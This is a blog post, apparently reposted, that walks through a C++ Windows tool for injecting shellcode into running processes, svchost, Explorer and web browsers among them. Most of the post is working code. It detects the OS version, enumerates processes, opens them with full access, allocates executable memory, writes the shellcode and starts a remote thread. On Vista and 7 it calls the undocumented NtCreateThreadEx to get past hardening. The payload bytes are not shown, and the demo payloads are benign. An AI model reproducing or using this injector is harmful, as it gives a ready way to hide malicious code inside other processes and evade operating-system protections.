In this post I will present a tool I created for injecting shellcode into any process in the
(even privileged once if you have admin permissions). This tool only
uses WinAPI functions and should work on any Windows platform and
without any dependency.
Let's begin:
First thing, we would like to find out the OS version and architecture
of the machine our tool is running on, in order to act accordingly
(explained later on). For this purpes we create a simple function called
CheckOSVersion.
code:
Code:
- int CheckOSVersion(void)
-
{
-
/*
-
* Windows XP = 1 (NT 5.0)
-
* Windows Vista = 2 (NT 6.0)
-
* Windows 7 = 3 (NT 6.1)
-
*/
-
OSVERSIONINFO osver;
-
osver.dwOSVersionInfoSize = sizeof(osver);
-
if (GetVersionEx(&osver))
-
{
-
if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT))
-
return 0;
-
if (osver.dwMajorVersion == 5)
-
return 1;
-
if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
-
return 2;
-
if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1)
-
return 3;
-
}
-
else
-
return 0;
-
}
Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known :
Code:
- bool is64bit;
-
// get system architecture
-
if(sizeof(void*) == 4)
-
is64bit = false; // 32bit
-
else
-
is64bit = true; // 64bit
The next thing we would like to do is to enumerate the processes so we
could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function
which as it sounds, takes a snapshot of a certain process. The structure
to contain a process info would be PROCESSENTRY32 and the functions we
use to iterate through the processes would be Process32First and
Process32Next
Code:
Code:
- PROCESSENTRY32 pe32 = { sizeof( PROCESSENTRY32 ) };
-
HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
-
-
if( hSnapshot == INVALID_HANDLE_VALUE )
-
return 0;
-
-
if( ! Process32First( hSnapshot, &pe32 ) ) {
-
CloseHandle( hSnapshot );
-
return 0;
-
}
-
-
do {
-
if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){
-
// The injection function is called from here...
-
}
-
} while( Process32Next( hSnapshot, &pe32 ) );
Now that we know the OS version, architecture and enumerated the
processes, it's time for the fun part, injecting our shellcode into the
selected processes. For this task we create a function called InjectCode
(how surprising!). This function receives a process ID to inject to,
the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to
receive a handle with the appropriate permissions for the target
process. For this task we use OpenProcess. Once we have the process
handle we can allocate memory space on that process (making room for our
shellcode) using VirtualAllocEx, writing the shellcode into the memory
space we allocated using WriteProcessMemory and finally, in order to
make the target process run our shellcode we use MyCreateRemoteThread,
which creates a thread on the target process with our shellcode running
on it.
code:
Code:
- bool InjectCode( DWORD dwProcId, int os )
-
{
-
//open process with proper access permissions
-
HANDLE hHandle = NULL;
-
if (os < 2)
-
//good for Windows XP and older
-
hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId );
-
else
-
//good for Windows 7 and Vista (not tested on XP or older)
-
hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId );
-
-
//check if OpenProcess succeeded
-
if( hHandle == INVALID_HANDLE_VALUE )
-
return false;
-
-
//allocate memory for our shellcode in the desired process's address space
-
LPVOID lpShellcode = NULL;
-
//choose the shellcode which suits the environment
-
if (os < 2)
-
lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
else if (os < 4)
-
lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
else
-
lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
-
//check if VirtualAllocEx succeeded
-
if( lpShellcode == NULL) {
-
CloseHandle( hHandle );
-
return false;
-
}
-
-
// write the shellcode into the allocated memory space
-
if (os < 2)
-
WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 );
-
else if (os < 4)
-
WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 );
-
else
-
WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 );
-
-
// create a thread which will execute our shellcode
-
HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 );
-
if( hThread == NULL ) {
-
CloseHandle( hHandle );
-
return false;
-
}
-
return true;
-
}
MyCreateRemoteThread
code:
Code:
- HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback)
-
{
-
if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx"))
-
{
-
return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback);
-
}
-
-
else
-
{
-
return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0);
-
}
-
-
return NULL;
-
}
The reason I'm using CreateRemoteThread and NtCreateThreadEx is that CreateRemoteThread not always
on Windows Vista and 7 (because of some changes made for hardening
protection). NtCreateThreadEx is an undocumented function, there for I
had to implement it instead of using the API as I did so far.
NtCreateThreadEx
code:
Code:
- HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback)
-
{
-
typedef struct
-
{
-
ULONG Length;
-
ULONG Unknown1;
-
ULONG Unknown2;
-
PULONG Unknown3;
-
ULONG Unknown4;
-
ULONG Unknown5;
-
ULONG Unknown6;
-
PULONG Unknown7;
-
ULONG Unknown8;
-
-
} UNKNOWN;
-
-
typedef DWORD WINAPI NtCreateThreadEx_PROC(
-
PHANDLE ThreadHandle,
-
ACCESS_MASK DesiredAccess,
-
LPVOID ObjectAttributes,
-
HANDLE ProcessHandle,
-
LPTHREAD_START_ROUTINE lpStartAddress,
-
LPVOID lpParameter,
-
BOOL CreateSuspended,
-
DWORD dwStackSize,
-
DWORD Unknown1,
-
DWORD Unknown2,
-
LPVOID Unknown3
-
);
-
-
UNKNOWN Buffer;
-
DWORD dw0 = 0;
-
DWORD dw1 = 0;
-
memset(&Buffer, 0, sizeof(UNKNOWN));
-
-
Buffer.Length = sizeof (UNKNOWN);
-
Buffer.Unknown1 = 0x10003;
-
Buffer.Unknown2 = 0x8;
-
Buffer.Unknown3 = &dw1;
-
Buffer.Unknown4 = 0;
-
Buffer.Unknown5 = 0x10004;
-
Buffer.Unknown6 = 4;
-
Buffer.Unknown7 = &dw0;
-
-
NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");
-
-
if(VistaCreateThread == NULL)
-
return NULL;
-
-
HANDLE hRemoteThread = NULL;
-
HRESULT hRes = 0;
-
-
if(!SUCCEEDED(hRes = VistaCreateThread(
-
&hRemoteThread,
-
0x1FFFFF, // all access
-
NULL,
-
hProcess,
-
(LPTHREAD_START_ROUTINE)lpRemoteThreadStart,
-
lpRemoteCallback,
-
FALSE,
-
NULL,
-
NULL,
-
NULL,
-
&Buffer
-
)))
-
{
-
return NULL;
-
}
-
-
return hRemoteThread;
-
}
That's about it. You can download the VS 2008 files from and the injector exe file from
here.
The exe file injects Windows calculator for Win XP, a messagebox for
Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes
are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.
Source
阅读(1226) | 评论(0) | 转发(0) |